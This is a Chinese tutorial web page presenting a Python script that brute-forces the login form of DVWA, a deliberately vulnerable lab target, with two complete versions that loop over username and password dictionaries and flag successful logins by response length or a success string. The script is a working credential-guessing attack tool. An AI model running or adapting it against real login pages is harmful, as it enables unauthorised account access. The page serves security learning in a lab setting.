脚本之家 服务器常用软件
快捷导航
您的位置：首页 → 脚本专栏 → python → Python破解网站登录密码

Python破解网站登录密码脚本

 更新时间：2022年01月14日 09:45:29   作者：陈程  
这篇文章主要为大家介绍一个简单的Python暴力破解网站登录密码脚本，文中的过程讲解详细，对我们学习Python有一定的帮助，感兴趣的可以学习一下

测试靶机为DVWA，适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求，响应信息被变量Response接收

Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件，之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里，用逗号分割数据

Response.status_code是响应的http状态码，len(Response.content)是http响应报文的长度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同，所以数据包长度也不同。包长度与其他不同的数据，可能就是正确的账号密码。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置，方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

运行结果

运行

这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据，登录测试

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码，然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置，方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

运行结果

到此这篇关于Python破解网站登录密码脚本的文章就介绍到这了,更多相关Python破解网站登录密码内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！

您可能感兴趣的文章:

相关文章

  • OpenCV3.0+Python3.6实现特定颜色的物体追踪

    OpenCV3.0+Python3.6实现特定颜色的物体追踪

    这篇文章主要为大家详细介绍了OpenCV3.0+Python3.6实现特定颜色的物体追踪，具有一定的参考价值，感兴趣的小伙伴们可以参考一下
    2019-07-07
  • 基于Python实现船舶的MMSI的获取(推荐)

    基于Python实现船舶的MMSI的获取(推荐)

    工作中遇到一个需求，需要通过网站查询船舶名称得到MMSI码，网站来自船讯网。这篇文章主要介绍了基于Python实现船舶的MMSI的获取,需要的朋友可以参考下
    2019-10-10
  • pytorch教程之Tensor的值及操作使用学习

    pytorch教程之Tensor的值及操作使用学习

    这篇文章主要为大家介绍了pytorch教程中关于Tensor的操作使用，有需要的朋友可以借鉴参考下，希望可以有所帮助，祝大家升职加薪，共同进步
    2021-09-09
  • Python的Geopy库处理地理编码与位置信息

    Python的Geopy库处理地理编码与位置信息

    地理编码和位置信息在现代应用中扮演着重要角色,本文主要介绍了Python的Geopy库处理地理编码与位置信息,具有一定的参考价值,感兴趣的可以了解一下
    2023-12-12
  • Python中ConfigParser模块示例详解

    Python中ConfigParser模块示例详解

    有些时候在项目中，使用配置文件来配置一些灵活的参数是比较常见的事，因为这会使得代码的维护变得更方便，而ini配置文件是比较常用的一种，今天介绍用ConfigParser模块来解析ini配置文件，感兴趣的朋友一起看看吧
    2023-01-01
  • Django Admin设置应用程序及模型顺序方法详解

    Django Admin设置应用程序及模型顺序方法详解

    这篇文章主要介绍了Django Admin设置应用程序及模型顺序方法详解,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-04-04
  • Python+Qt相片更换背景颜色窗体程序的步骤详解

    Python+Qt相片更换背景颜色窗体程序的步骤详解

    QT+Python是非常经典的窗体编程组合，功能完善，可视化界面美观易维护，这篇博客针对相片更换背景颜色方面编写代码，代码整洁，规则，易读，对学习与使用Python有较好的帮助,需要的朋友可以参考下
    2022-12-12
  • 基于python实现判断字符串是否数字算法

    基于python实现判断字符串是否数字算法

    这篇文章主要介绍了基于python实现判断字符串是否数字算法,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-07-07
  • python嵌套try...except如何使用详解

    python嵌套try...except如何使用详解

    有时候我们写程序的时候,会出现一些错误或异常,导致程序终止,使用try…except,这样程序就不会因为异常而中断,下面这篇文章主要给大家介绍了关于python嵌套try...except如何使用的相关资料,需要的朋友可以参考下
    2022-08-08
  • Python中的内置函数isdigit()

    Python中的内置函数isdigit()

    这篇文章主要介绍了Python中的内置函数isdigit()，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教
    2022-11-11

最新评论